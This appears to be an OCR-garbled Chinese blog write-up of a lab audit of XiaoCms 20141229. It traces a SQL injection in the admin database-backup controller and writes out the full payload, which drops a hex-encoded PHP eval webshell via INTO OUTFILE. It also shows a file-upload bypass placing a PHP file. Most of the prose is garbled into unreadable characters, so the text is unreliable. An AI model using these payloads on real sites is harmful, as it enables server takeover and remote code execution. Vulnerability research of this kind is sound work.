BiEillifXiaoCmsZ BB ENRIBHIT-IBFa
#UBEZ{psQLiEAEIgetshell

X2 BT SERBA 1958 62 RXE.

£t 4053 =7, TSRS 13 2.

db
B E

I

A ZRERAS AT, XRA X ERERNEEEMNERES, BREAGENMT,
AJRER S MARHERTERFRESIMNG, TERICRANEMX NS EURAIBERAR BT

Y.

BiRESFE

FIFFRG, B—MEWNER, ERHINESIERS, =inlfEA admin ERIARGEES, BEX
W, BMERLTEAE,




EMEET Index.php SNFE— AdminSystem BE, HiEAMEGFE.

|=s =k

XIAOCMS

BRTREEBEFHEE— robots.txt, EEREBFERIEE.



H

# robots. txt for XiaolCms
=4

User-agent: *

Disallow: /admin/
Disallow: /core/
Disallow: /data/

Allow: /data/upload/
Disallow: /member/
Disallow: /template/
Disallow: /index.php7c=api*

BT robots.txt FIFEHNRENRE, XWX BIRMIZEET XiaoCms #HITHER, 18F—T
iZ CMS EEFERE, B —@EREYERETZ CMS FESZS/NEE, tLiaiaxE8EFE
SQLFANE, BT

e S ]

HME: BYE (Fhlxss, sqlifA) , MIRTH (sqliEX x) , HE (sqlif A, Eftxss), iFik (Fhlixss, EN)



LEEE SQL TN, EENEHITINREFEXRE.

http://192.168.27.1/x1aocms_20141229/index. php?id=20

» EER s

b ERER MPCEMRZciin AMDEELisa SufiskAPUER
F EERER

b FEEER

b PR ER Y

r EREFR

BT payload Ui, HWIREFRHEN, MBZNEBLHIRBLE payload, (NEFRFE
i, BT —1aFLONEETFER. ATHRZRER, LSRR FETER, =ity
pErs= L CIES)2E]: S

RFBRIREEERAR

TERRBE, B TEREWIER.



xiaocms 20141229
aamin
controller
Img
template
iIndex.php
core
controller
Im J
library

index.html

version. php

xlaocms.php
data
template
index.php

robots.txt




=a1ERY URL 2

http://192.168.27.1/xiaocms_20141229/admin/index.php,

tHERAERE— A0 index.php EEFEAINE admin BRTH Index.php fAAO, #T
FF admin/index.php &E&E RS,

EEAESEEN —LEE, FERIREMESINT XY core/xiaocms.php, BEIZHEHA
5.



IZXHAEA CMS B9, BT —1MRFM xiaocms FIISEE, BBIERBERAVED, £
BE FEXREHSIIE.



LR URL g9itE75, IXEBMNIZEEBAERN, FrLA url 8 A58 c f188 a, HEERFHST
&2 $controller 1 $action,



¥ $controller #1 $action FITXIZ&HHENTE Sapp_id, ¥IHERSZTET $_app (EA)
BEEEIZTE, AMENSHTHAMNEGERERE, ARHITSINUZE $controller @%3
19 php 3Xf4&, ™ $action MRiZSEHREELAZEE $action FHH#E Action SRR AE, tBHL



& URL #RY C k79 controller ERTHERTIUY, &% a M{LFRE action, BHE
controller EEMTIE.

THEY URL l9—MEEH, ARE—TXERRY SQLIENRIRE, URLAIT:

http://192.168.27.1/x1aocms_20141229/index.php?1d=20

index.php EIR ID 22§, HR#E URL MNFHEEAZFEIATTIE,

Imil— 1 — Al E— AT AL = Y IS T e — ——le 7 A LN el L T — PR IS 1N



TRIELE, RILAE2IET GEl SIGAI 1D J5, EREEEEIRIE [, BRBRAE IV 15E
MRERERE, EXEEHEEREENEN, RLSEFBLR SQLIEA, %,

BeTERLERMAT SQLIEN, BRI URL 2!

http://192.168.27.1/x1aocms_20141229/index.php?c=1index&a=search&kw=1

ROE: M >> "1 ERE

- XiaoCMS X1 fbErishe IFUAT 2014-02-21
- BFR01 4R EE #ahhinikIBRES 2014-02-21
- 20145 oA B BRI HIEIRaM L 200051 2014-02-21
- 201 ASEEEERAN FRCH OSBRI SRR 2014-02-21
- e 7 2ETUEEMIix 2 10\ 2014-02-21

HRIE URL ML, HEHEZRAEAIRRS:



AJLABZIRR T — URL BRBLONSEHTHABERNTR, EEMELS Skw AEHMANESIEE
BHTERT, EEREAREEER, XERERA T IRENZAH THE SQLIEAN. IR



HzNITE —EIER, VA PHP R4 PDO #1T7#147 SQL B4, FrLUEZERE SQLIEANR

N ——
m AN
=, 2E,

sprepare(
preg .

->closeCursor()

BZEEBRSLRI SQLIEN, FTEBEARESIFE SQLIEAN, URLATT:
http://192.168.27.1/x1iaocms_20141229/index.php?c=index&a=form&modelid=3

TRYE URL #LREREIRSRIA9KES, B2 URL 521 modelid EEGREE HEEES,



FTLABRSIXTRY URL AMFFE SQLIEAN, BREBRSRIRZABHEFE SQLIEA. BABSRE
ME, RMSEHERR data, IAID data BN,



=] O Q1 = I [ =

£y

10

11
12

13

14

19
16

POST /xiaocms_20141229/1index. php?c=indexka=fornkmodelid=3 HITP/1.1
Host: 192.168.27.1

Content-Length: 107

Cache-Control: max-age=0

Origin: http://192,168.27.1

Upgrade-Insecure-Requests: 1

Content-Type: application/z-www—form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml:q=0. 9, image/webp, inage/a
png, */*:q=0. 8, application/signed-exchange :v=b3

Referer:

http://192. 168. 27. 1/x1aocms_20141229/1index. php?c=indexka=form&modelid=3
Accept-Encoding: gzip. deflate

Accept-Language: zh-CN, zh:q=0.9

Cookie: UM_distinctid=
171a254babd567-0626de199e1768-3a65460c-144000-171a254babe73a;
CNIZDATAL1707573=
cnzz_e1d%3D381550541-1587566392-http%253A%252F%252F192. 168. 27. 1%25348099
%252F%26ntine%3D1587566392; PHPSESSID=54el03gffukjpleSsruodjqo53
Comnection: close

data%5Bnindexingming®%5D=111&data%5Blianx1QQ%5D=111&
data%5BliuyanneironghdD=11111&submit=%EG6%SF%90+%E4%BA%A4




RS, STHBEE NSRRI, HaEFERIR(E.

JLEREEABRIER, BIMBRIIREA post_check fields #HTIGIE, BIREE.




Z AU ZBRBEN TR THREE, FRYFRATIHITREE, FLIXBERY, #
BEE PRIIRA.

BHET—TEHEeNEIER, BEH(TT insert #8E, 1BE insert 5%,

>getTableName( )




UIEES filterFields 73,

_filterFields(

|| !is_array( ))
->getTableFields();

IR T HIBRIFER, BIEREARH TR, HEME MEERX insert,



>getTableName( )

>_filterFields(

BERIXA Insert 73i%, RIMHESLRZHT 7 EIEHZ, H#5ET SQLIEG, 7§ SQLIEEER
RYESHERIES, AS/ER execute F5iEHIT, BELEER,




*lastInsertId()

Execute 73iE00T:

>prepare(

->closeCursor();




Prepare & &/’&%Em THY SQL IEGFHIRE— PDOStatement 315, Wit 2iRiXEHE(E
F3B9 PDO #17 SQL iIBG#4T, FRLABBSAEI SQLIEN, %2

FlALE, #RERY SQLIFEANERG LR, EATZRAHES, EAMEERI—FRX
BT, B Nday A~581%, ARt CSeiFLIBEIHE,

FEATNEBCS

ENRINE—TEAFE CVE RS, BIE CVE EEE I LIEFNHTRENA, B2
CVE Jﬁ%ﬂ%%iﬁﬂﬂﬁ/l\iﬁﬁﬁﬁ'éxﬁﬂgllﬂEﬁ BEHR 2A.':I:.'EJ$E’\J payload Z3HY, FflA
RMEET CVE RiEmAXEE, tEFEERCE FEBEHTRIEDHT, 14i& payload.,

FER xiaocms IXPMKRHEE, BEBSAE, HXEX 81

Search Results

Thare are B CVE entriss that match your search,

Nama Dascription

T AR HBdue whi digoovensd In MasCmE 201412209, It alowi admiln/indephp e wdatabade bl ] SOU npecticn, This can be wisd for PHP code extution via “INTO OUTFILE" with &
php filenama.
CVE-Z0U8-19187 An Hius was discovensd in Xaolms 20141229, sdmin\controllaridatabass. php allows srivtrary directory daletion via sdmin/indax. phpPcsdatsbasetssimporthpaths] =,/ directory
travirsal.
&n bssus was discovered in MaaCrs 20141229, It aliows remate stscens io sxecuts arbitrary Cods by using the typs parameter to bypass the stardsnd
sdminicontreller uplascfie. pho restrictiond on uplosded fle typed [15g. (o8, Bma, Bag. §iF), &1 Semangrated By & SAmIA/IAdes. pRa T muplasdfial s uplosady uniasdbrpimpha
[1H
3195 An due wat discoversd In WacCme 20041210, There i X556 related 1o the template’defaultishaw_product.html file

An Hiue vl diicovensd In XiasCmi 20141220, /edmiln/ phptemdatabade allowd full path digclogurs In & l'a i 0D S IrRAM"T BFTRT MEliage

An Hdue wid dicoversd in MasCma 20041219, Thare i3 XS5 o the largedt Aput Box on e "Naw Aewl™ Lofeen

AR Hiue wad dictvered in KasCrme 20141210, sdmininddn pha e moontentiam sAahsatidn} had CSRF, B3 dEmanitrated By SALMFIRG St vid the JSEB[COADIAE] BATBILET
1 AR Hgus wal discovened (n 0ssCm X1 v20140305. Trare is & CSRF widnerabiity 1o changs the Sdministraior SLOount patiword vis SOmin/indes phe o mindels ey,

AARE__TRKI¥IE.



=R¢=| I aul=h

CVE-ID

CVE-2019-6127 MUWMM‘M]
Sarverity Bubtine] = Fist [Aormabon « Wolnesabie Soltware Wersons = SCAP Mappings = CPE [nformation
Dascription

A i wad diedined in XiseCm 20041229, [t allses admin/index. phptondatabase tabia]] SOU injection, This can Be uted for PHP codle sxsoutisn via "INTO OUTFILE™ with & .php filename.
Relerences

Mobe; Feleience are provided for the comeenience of the reades Bo belp distinguinh between vialnersbilities. The Bst it not inbended 10 be complete.

& HISCnte S gahub. comyEasin vulnerabil e/ Hobmaster XiagCHS_I0041229 GETSHELL.md

Assigning CHA

HITRE Coanporation

Date Entry Created

20190110 Disclaimas: The gntry creation date may reflect whan the CVE 10 was allockted or reserved, and does rot ridy wheen this vulrerabdity was di
thared with the affected vandor publicly disclased, of updated in CVE,

Phase (Legacy)

Asgigned (20190110]

B—L CVEIFE, SEFMENRRANAEGZE, BREEXA github itbil,

https://github.com/Eas3In/Nulnerabilities/blob/masterMaoCMS 20141229 GETSHELLmd




BAzE, FMEREAESAEFES GitHub iKY, MERHARE, B#EE 500 $81%, A
NMEEFE, BBHiRERERE CHITHE,
IRIEIR2 admin/index.php?c=database X/~ URL fYia)fl, AEEIRAELHT—NEE.

4] ) Lt | ol wWh
MaoCms § be N wdd_wcherary 1 3.07 KB 0B
Mol T B widsy_besch & 151 KB oe
Wl e wi_Category 16 L 0B
Hinolma K68 B0 CONDERE 5 1191 KB 0B
MaoCms g M Xid_CONbET_nisws 5 863 KB e
Ko e wis0_zonbert_prodct 12 586 KB s
ol I HE wiasy_fonm_oomiment o 1KB oB
HaoCms it W na_fonm_gestbook 1 o e
Mo v e P B xiacy_imeribeer o 1EB i
Hnolrr I B wady_member_geren o 1KB 0B
Minolms 00 wa_micded 5 568 KB L
Mol ms §e B 9 wand_nddel_fesld Ul M KB ke

8 e Ceres B AR FiiEt

BXNNHNZEEESDIIRE, BHRIRERMEESD.



X1aoCMS uihgisw
NEER 2 &y BOKS

RERR
ik SER
BHETE *A

| HREH xiao_admin
“B Tl MEHRE

E‘ v ome Q 5 68 R xiao_block

7= 2 % 5| — (| BEX%* xiao_category

B BH/ W

“s RFRM
2 v SiEER
B AR

SN -

[EEBMNEYERERNTT, B EH TN

== = — k
1 GET /ximecms_ 20141229/ adminsysten/index. phpTe=database HITP/1.1
2 Host: 192.168.27.1
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozillal5.0 (Findows NT 10.0; WOW64) AppleWebit/537.36 (EHIML. like Gecko) Chrome/75.0.3770. 142 Safari/537. 36
5 Accept: text/html, application/xhtal+xsl, application/xel :q=0. 9. image/webp. image/apng. */ % q=0. 3, application/signed=exchange .v=b3
& Accept-Encoding: gzip. deflate
T Mecepr-Language: =h-CN. zh:gq=0.9
E Cookie: UN_distinctid=lTlal5dbabd367=-0626de199e1768-3a65460c=144000=171a254babeT3a; CHIZDATALTOTST3=
cnzz_eidWIDIB1SS054 1= 1587566390 -http W25 3ANISOPNIGIFL92, 168, 27, INI5AB0OMISIPAI6nt ine N 3D 587566392 PHPSESSID=54e103gf fuk jpledsrue5jqesd
& Connectien: close
10
11




RN RERRZA R TIMEES:

) XiaoCmsH i %
) XiaoCmsF & %
) XiaoCms 5%
@ XiaoCmsHH &

¥ XiaoCms R«

%EiFXiaoCmsFR&HE ()

xiao_form_gestbook
xiao_member
xiao_member_geren
xiao_model

xiao_model_field

Hia&




POST /xiaocms_20141229/adninsysten/index. php?c=database HITP/1.1

Host: 192.168.27.1

Content-Length: 106

Cache-Control: max-age=0

Origin: http://192. 168.27.1

Upgrade-Insecure-Requests: 1

Content-Type: application/z-www—form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64) AppleWebKit/537.36 (KHIML, like
Gecko) Chrome/75.0.3770.142 Safari/537. 36

Accept:

text/html, application/xhtml+xnl, application/xml;q=0. 9, inage/webp, inage/apng, */*:q=
0.8, application/signed-exchange :v=b3

Referer: http://192.168.27. 1/x1a0cms_20141229/adminsysten/index. php?c=database
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh:q=0.9

Cookie: UM_distinctid=171a254babd567-0626del199e1768-3a65460c-144000-171a254babeT3a
: CNIZIDATAL1707573=
cnzz_e1d%3D381550541-1587566392-http%2534%252F%252F192. 168. 27. 1%25348099%252F%26nt
1me%3D1587566392; PHPSESSID=54el03gffukjpledsruod)jqod3

Commection: close

=1 O O1 d= LJ By =

o

L]

B = O

L 7% ]

o O e

list_form=&table%5B%5D=x1a0_model&table%5B%5D=x1a0_model_fieldksubmit=
%E5$BEHEﬂﬁE5557\EE\Eﬁﬂﬁiﬁﬂ?ﬁﬁliﬁﬂimﬂ

RIERIE S HTZ CMS B9—1 URL i53k1E, c=database FiE controller BR THY
database.php 34, X/MBEKIEZE a &84, FFLABENIZZEVERA indexAction /5i%, BiRE
A3,






4 POST 123zFH B E21 submit SEARANTHIEHR, 15 tables ZERINBENEZ,
URL, SEHET— action #1 size, {Bi&EiHAIA9ZET URL,

BXipE% URL, RIASSEGNE Y, M.

SREBkE

GET Sxiaccms_20141220/adningysten/index. phpTe=databasekaction=1ksize=2048 HITPS1.1
Host: 192.168.27.1
Upgrade=Insecure-Requests: 1

i Uzer-Agent: Mozilla/5. 0 (Windows NT 10.0: WOWG4) AppleWebKit/537. 36 (KHIML. 3
Aecept: text/htal. application/shtml#+eal, application's
Referer

http: /7192, 168, 27. L/xiaoces_ 20141229 aduinsystenS index. phptc=database
Accept-Encoding: gzip. deflate
MLecept-Language: =h-CH. zh;q=0.9
Cookie: UN_distinctid=17lal
1350541-1587
Connection: close

babd367=0626de 19021 T68=3a65460c=144000=17 1al54babeT3a; CHIID
IANIGIPNISIPI9Z. 168, 27, INZEIAB0OMISIFA 26nt ameN 3T

ALTOT57 3=

BZE—TF IndexAction 973,

like Gecke) Chrome/75.0.3770. 142 Safari/537. 36

g=0. 9, image/webp, inage/apng. &% g=0. 8, application/signed-exchange v=hi

15392 PHPSESSID=54e103gf fuk jp2e5arucsjqoesd



UNERTFIE GET £2%§ action, MJEA export database /5i%, BEIZAIERNES.



NEFFEHERE, REENRETLUANR, EFEEFENESRS, XESEFNHARE



5 $c_data, BIERBEH(EL Stables, Z/EHHE SQLIER, $tabledump, FEIAERE
A query JSiEUTREINES, (ERXENRSARMEMATIE, BHRiRMER $this->db-
>query KREIE, XEHFAE SQLIEN, BER query 73iZ,

REHTERETE, REBRT NS, AEARHNRETHE, EEE _db->query().



query(

ERBERETIE, HEELR,



traim(

SQLIBEERMTY , BRliREarEiESEMLEFE SQLIEA.



FRGE:
B—aiEARSHT hex H1T4RID,

select hex("<?php @eval($_POST['x']);2>");

l row in set

mysqgl> select hex("<?php @eval ($_POST['x']):;?>");

e ————— +
| hex("<?php @eval($_POST['x']);2?>") |
e e +

| 3C3F70687020406576€616C28245F504F53545B2778275D293B3F3E |

gy gy gy Sy S

ERERERFBIHMEENEE, IEEEHHEE SQLiET.

1 FOST Fxumocms_ 30041230 wduunS imdex, phgpTo=dat abuse HTTPSL. 1

2 Hean: 192.188.27.1

1 Comtent-Longrh: 743

4 Cache-Contrel: max-agesd

5 Owigin: http SA0EL 168270

& Upgrade=Insecure=Requests: 1

T Content=Type: applicatise/r=wev={erw-urlenceded

8 User-Agent: Mazalla/S. 0 (Timdsws NT 10.0; TOWEL) AppleWebEiw/B37. 38 (EHTML. like
Gecka) Chrome/T5. 0. 3770, 147 Safarsf537, 36

¥ Ascept
text/htnl. applicaticn/zhtnléznl, spplacat ionfzul (=0, B, inageSwebp. inage/apng. 0./0 g=
. 5. applicat ion'signed=exchange . v=bl

10 Beferer: hitp: /U065 18R 20, Limameoms_ 200412268 sduin' index. php?o=det shase

11 Mceepr-Bncoding: giip. Seflate

12 Accepr-Language. k(N =k g=0. 9

© CHIIDATALTO7ST)=

1 I00 BETE44052 . PEPSESS ID=dtwal® poly sgk 3p2 4dBuj Inch?
14 Comnmction: clege
15
18 list_forwebtablevSBNSDexiac_model | select
wunhex {* JCIFTO6S 700005 THE 1 6C TE2USFSOAFSISATRITTR2TSD2IBIFIE" )} INTO OUTFILE
'h:.uflhﬂuﬁ-_nm:lmu_ﬂlﬂﬂ'ulllhh' ]
" hvahl eV SEN SDmxy ne_moded_f 1ol akooben t=AR INECUBOVESUA TV EEVE SIS TR E INEENED

13 Cookin: UM distinctid=lTlaliibabdi6T-0626de 100l TEE-3a85460c- 184000~ 17 1 al54babe 732
enaz_esdVIDIFIER0GA0= 1 EET M IR -h tph DR RAN DS IPVIECF 102, 168, 27, IN252A0099 252F int

Tie|

1 HITRSL1 200 O

2 Server: mpuree/l.15.11

3 Dars: Toe. 07 Jul 2020 1400 09 CNT

i Contemt-Type text/hiaml: chasget=utf-3
5 Commection cloge

4 Expires: Thuo 19 Nev 1081 08 52 00 GNT
T Prages ne=-csche

8 Cache-cemtrel: private

§ X-Pewered-By. Xisolaz 20141229

10 Comtemt-Length 644

12 <'DOCTYPE himl>

138 <himl >

148 ‘head>

15 imeta charser="usf-8">

16 eaelerMaIE - XiseCnscleitler

17 dlunk types"textSces” rel="giyleshest”™ hyef="
Sraiscons_ 20141220 core/ ing nessage/x 1 socns. css” 0

18 <hendr

198 ‘bedy

208 <dsv elazes"box _border” 1dm“right” >

N8 ddav ¢laze="content”r

) hiriEE &R EE. .. O
22 ip

24 i hrefs"

Frussens_ 20141220/ sduin/ indey. phpTe=databasebast i oo Lhay ze=200E"
nREENNEBRRNOSNMY. BALER S
5 ‘perapt languapes” jrvascript”reetTineout i
“lecat iom. href=" Fxiasccns_ 20141220/ adnin' index. phpTo=dat abasedact soam s se=2
] :'i.i':-rl:l'pl ¥




Payload J3:

list_form=&table%5B%5D=xiao_model ; select

unhex( '3C3F70687020406576616C28245F504F53545B2778275D293B3F3E") INTO OUTFILE

'D:/phpstudy_pro/WWW/xiaocms_20141229/111.php";

" ;&table%5B%5D=xiao_model_field&submit=%E5%BC%80%E5%A7%8B%ES5%AAL%87%EA%BB%BD

WiTZfE, #&RE URL:

http://192.168.27.1/x1iaocms_20141229/admin/index.php?c=database&action=1&size=2048

BiETfitA SQL iENIEIA,

« B [ 192.168.27.1

O BRME (5)

i

oy

= T phostudy_pro

I vy
I xdaccms_20141229

. idea
| aimin
= e
. data
N template

g

BkIO3REX WebShell,

ﬂzliﬂﬂﬂ’ﬂﬁﬁgﬁﬁi‘l', &I T BRRMIEAIIX A

¢

XEEFEHT

[ xfHk (8)
oMk -~ 4L

&k
Jddea
admin
e
data
template
111.php
Index. phg
robots. txt

EERC0O0O0C0

SN\ WebShell,

{EREIER.

Bm
2020-07-07 21:55:55
2020-07-03 17:26:44
2020-07-03 17:26:45
2020-07-03 17:40:14
2020-07-03 17:26:45
2020-07-07 22:00:16
2014-12-28 21:59:09
2014-12-28 21:59:09

D fphpstudy_pro/WWW/aaccrs_20141229(

x4

0b
Ob
0b
4 Kb
0b
b
211b
194 b

2l
Wit
0777
Q777
0777
0777
0777

> CMS FE—1Maa SQL iEAFF GetShell #YE

, BREREET, EUEEU?SJJ:E%%?E#&‘ENK%%EE, BAEBREI T Rarutit, B2



AERIEMKS R

ﬁf’—"ﬁ:[
XIAOCMS
RAEEG RS @ R
SERD: | F’776
&z

IEFAHINMEC SRR ¥, B NERXENRAE, EERNIRIRERN, BRaFA5RERY
CI=12R



RGOS, NRIIHBAEHERRE], MREBREEREE, SRRFHER, A
BERAFRMNED, RAmERSIUHTERREERE, BHE SQLIEAXEWRIRN T, H8
BBRAFET, ZEMEEEREE, 1’8 Session 7, FXEBIENETT, WEAEHNEE

nA"n



WG

W HEIXE, ZEREN, MEEaFEILL GetShell iR, BEALEHNGE

REIERSREENL T —BLEN A, ReaXTEHAN, IBMAREERERT.

XPEHE-SMERA, BREEUEKRER, ERRMIIRTAE.

BEER

COM © 2016

AENEERE— MWL ©2016 AYFRE
DABEHITER, REREANIHNEET .

AFP4%&: | admin

XIAOCMS

g iR 1 DORTRIE $77 T fQ: | esssessssssces

IFE: | F776 F? 76

, BE

5, BRTOHSLRRY, SERMZMIL + 2016 XMEF



HNRETERA S —HI 15!

X1aoCMS niibgssr BB
B AEER £ O GAEE
= BH/MER ERES.
=F#HiN
B v sEER SHIME : 192.168.27.1
B 458 ENEe.: SEREREN
W iTiLEm BRUEN: SERRIER (EREEEATE)
Ev=g2®r5 __
B FRRM— BRA: £y
B ~2E¥= T :
B FRFH=
B =2F5m Rikme
B FaFE I XisoCms BAVIRIERE
B ~2R¥*
B SRt £HEWR: 20141229
F& GetShell

HNEEZE, FLRBNINCEEETTE SQLIENRKREE T GetShell 7, BT NEREEE
A URL #7RRARRY, S— URL £ POST (ERINSEHIFEANETR, £ URL Z7@NEF
EENHEURHITEIRRERE, FTUARAKIFERTRRTIRE, ME SQLIENEENA Shell i£F
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s IREZNER, ERFGSBEHREHLER, SAEMH T hkEatE.

e

1 GET fximecms_ 20141220/ adninsystenindex. phpTe=categollrybomeditbeatad=12 HITP/1.1

il —

1EHTTF 1.1 200 OF

e

text/htal, applicat ion/chtml+xnl. applicat ionzal ; q=0. 9. imageSwebp, imageSapng, */*  q=
0. 8. applicationSsigned-exchange  v=b3
& Referer: http: /192, 168, 27, 1/xisccnsz_20141229 aduinsysten index. phptem indexkamtyee
7 Accept-Emcoding: gzip. deflate
B Accept=Language: zh-CH. zhig=0.9
5 Cookie: UN_distinctid=17lalidbabd367=0626de] 9%l T68=3a65460c=144000=171a254babeT3a
: CHIIDATALTOTST 3=
enzz_eid\IDIF1E50541- 158758039 2-heaph 2B IANDS2FN2E2F 162, 168, 27, IN25IAB0SA2E2F2int
1mehID1GETSE6392; PHPSESSID=54el03gffuk jpleSaruoijqodd
10 Connection: close
11

Content=-Length: 36

2 Host: 197.168.27.1 2 Server: ngiree/1.15.11
1 Upgrade-Insecure-Requests: 1 3 Date: Mom. 13 Jul 2020 09:50:06 GNT
4 Uszer-Agent: Mozillaf5. 0 (Windews NT 10.0: WOWE4) AppleTebKar/537.36 (EHTML. like 4 Content-Type: text/html: charsev=urf-%
Gecko) Chrome/75.0. 3770, 142 Safari/537.38 5 Connection: cloze
5 Accept 6 X-Powered-By: FPHP/5.4. 45
]

fiasCuz: Controller doesz not exist.

M C 242127 Controller ™MFE, BEX A 2SR Action A77E, EXUSERT ID
e, WiRBEHIER, LURERIIESHT, FraRY ID & T T IRHISREEER, 121/ T B4
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1 GET Frusscns_ 2014179 sdnirayaten inden. phptoscatsgorvhemedinbentnds” " " 178 & 1 HITPFL.1 200 OO |
HITRS. 1 2 Server: nguncfl. 0511
Hasu: 192188201 I Dute: Hane 13 Jul 2020 O 5222 GAb

Upgrsde= Insecure=Requests |
User-Agent: Mozalla/5.0 (Fumdews NT 10.0: WPELF AppleTedEat/537,. 36 (EHTML. Nuke

Content=Type: text/himl: chaxset=uif=§
Comnection clese

Geckel ChromeSTE 01770, 142 SafariS530. 24
i Accept
text/htal. applicat ion/shinlozal, spplication/zal (=0, B, image/webp, inage/ apng, /0 q=
0. 8, spplication/signed-exchange . v=b3
§ Referes: havp FF19C. 168, 27, Iiziascas 20041 200 sdainsvaten’ indes, phgTes indexbastrae
T Aecepr-Encodang: gaip. deflate

o

Expires: Thu. 1% Eo 1981 O3 52 00 GHI
Pragma: neo=-cache
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eI BETRAE302 . PHPSESSID=04s 102 i e jp e faraed jqold 1 duanler il - Kumelnai/uanle
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POST /xiaocms_20141229/adminsysten/index. php?c=uploadfileka=kindeditor_upload&dir=
image HITP/1.1

Host: 192.168.27.1

Content-Length: 23793

Cache—-Control: max-age=0

Origin: http://192.168.27.1

Upgrade-Insecure-Requests: 1

Content=Type: multipart/form-data: boundary=----WebKitFormBoundarymH709Bz1drkLcIBV
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64) AppleWebKit/537.36 (KHIML, like
Gecko) Chrome/75.0.3770.142 Safari/537. 36

Accept:

text/html, application/xhtml+xml, application/xml;q=0. 9, image/webp, image/apng, */*; q=
0.8, application/signed-exchange ;v=b3

Referer:

http://192. 168. 27. 1/xiaocms_20141229/adninsysten/index. phpTc=categorybka=edit&catid
=]

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh:q=0.9

Cookie: UM_distinctid=171a254babd367-0626de199e1768-3a65460c-144000-171a254babe73a
. CNIZDATA1707573=
cnzz_e1d%3D381550541-1587566392-http%2534%252F%252F192, 168. 27. 1%25348099%252F%26nt
1me%3D1587566392; PHPSESSID=54el103gffukjpleSsrus5jqos3

Connection: close

------ WebKitFormBoundarymH709Bz1drkLcIBV
Content-Disposition: form-data: name="locallrl”

C:\fakepath\l. jpe

------ WebK1itFormBoundarymH7o9Bz1drkLcIBV

Content-Disposition: form-data: name="imgFile”: filename="1. jpg”
Content-Type: image/jpeg
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SRR, 18809 phpinfo =i {—T.

1 POST /xiaocms_20141229/adminsysten/index. php?c=uploadfile&a=kindeditor_uploadkdir=

image HITP/1.1

Host: 192.168.27.1

Content-Length: 310

Cache-Control: max-age=0

Origin: http://192.168.27.1

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data: boundary=----WebKitFormBoundarymH7o9BzldrkLcIBV

User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64) AppleWebKit/537.36 (KHIML, like

Gecko) Chrome/75.0.3770.142 Safari/537. 36

9 Accept:
text/htnl, application/xhtml+xmnl, application/zml:q=0. 9, inage/webp, image/apng, */*: q=
0.8, application/signed-exchange ;v=b3

L0 Referer:
http: //192. 168. 27. 1/x1aocms_20141229/adminsysten/ index. php?e=categoryka=editkecatid
=]

L1 Accept-Encoding: gzip., deflate

2 Accept-Language: zh-CN, zh:q=0.9

|2 Cookie: UM_distinctid=171a254babd567-0626de19921768-3a65460c-144000-171a254babe73a
. CNIZDATA1707573=
cnzz_eid%3D381550541-1587566392-http%2534%252F%252F192. 168. 27. 1%25348099%252F%26nt
ime%3D1587566392; PHPSESSID=54e103gffukjpleSsruc5iqes3

L4 Commection: close

=) O O é= ) BJ

o

L5

LG ======WebKitFormBoundaryemH709Bz1drkLcIBV

L7 Content-Disposition: form-data: name="localUrl”
L8

L9 C:\fakepath\l. jpg

M) ———— WebKitFormBoundarymH709Bz1drkLcIBV

21 Content-Disposition: form—data: name="imgFile”: filename="1.php”
22 Content-Type: image/jpeg
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24 <7php phpinfol) ;7>
Y5 ======WahKitBarmRaundarsmbTa0R=1dxl] ~TRV-—

[

RIBE, BERXM T, BRI —XNAX? B2ABR EERNT,

HET

(BEREIIRIZHIR

POST Sfrissems 200402249/ sdwinsysren'index. phpTesuploads s Lekaekindeditor_uplosdkdirs
tmage HITRS1.1

P Haan 192,168 27.1
| Content-Length 310

Cache-Control: max-age=(

Phwigin huwp SOUEDL 163,271
| Dpgrade-Insecure-Fagoests 1
" Content-Type: maltipart/fors-data: bemdary=--—TeblitFeraBomndaryal ofBz1drklc BV
| Beag=-Agent

Moz llaf5. 0 (Windows NT 10,00 WOTEL) AppleTeblot/537. 34 (EHTML, like
Gocka) ChroweST5 0. 3770, 142 Safarif337. 38

b Ascept

text hial, applacat ion/shial+xal, spplicat ion'zal | q=0, B, inage/ vebp. inage/ apng, W0 o=

3. 8. applacat pensigred-exchange (v=b]

Befezes

htvp FF10Z, LEE, 27, Iixisoces 20141270 sdsinsyeten’ index, phgpToemcategoryhomeditboat 1d

=1

Accepi=Encodang: gaip. deflate

Accepi=Language: sheCH zh.q=0.9

Conkie UM _distamctid=l71al54babdi6T=08004e 1001 T00= 2l 3400~ LA000=1T 1225 4babe T Ja
o CHCIDATALTOTST )=

enaa_ e IDIEIRR0RL- 1587500002 -he epATRIRANIIIRISIR 10D, J6R 27, INISIARORIAC STV DEmt
Rt IN SATEAS A PRPRSA T Sl L0 R ok dn e S 20T

" e

1w

]

HITPFL. 0 200 0K

Server: mgiEeSl.16.11

Dane: Mem. IF Jul 2020 09 44 57 GHI
Centent-Type text/hinl charget=unf-3
Cormection clage

Expires: Tha 1§ Nov 1981 OB 5200 CNT
Pragma mne-cathe

Cache-comtral: privats

X-Powered-By. Niaolaz 20141279
Content-Length 129

by f

IobiWarmang 0 Migsing arpoment 1 for upleadfile: iwplead(), called in
D phpetedy_pre\TMazisccns 20140700 adeinSyetencontrel lesupleadfile, gl on

line 153 amd defined in b

b phpetedy_pre\TMaiscces 2014071 aduinSveten'\contral ler \uploadfale, phig' /B0

en line BE RGBTy F
5 L 1 phe THRLRER]

HEITRRIZ N

D:\phpstudy_pro\WWW\xiaocms_20141229\adminSystem\controller\uploadfile.php

EERELZET, FHa GetShell, FTFEUESH.
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xiao_admin
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Xia0_content
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POST /xi1aocms_20141229/adminsysten/index. php?c=database HITP/1.1

Host: 192.168.27.1

Content-Length: 106

Cache-Control: max-age=0

Origin: http://192.168.27.1

Upgrade-Insecure-Requests: 1

Content-Type: application/z—www—form—urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/75.0.3770. 142 Safari/537. 36

Accept:

text/htnl, application/xhtml+xml, application/xml;q=0. 9, image/webp, image/apng, */*;q=
0.8, application/signed-exchange :v=b3

Referer: http://192.168. 27. 1/x1a0cms_20141229/adminsysten/ index. php?c=database
Accept-Encoding: gzip. deflate
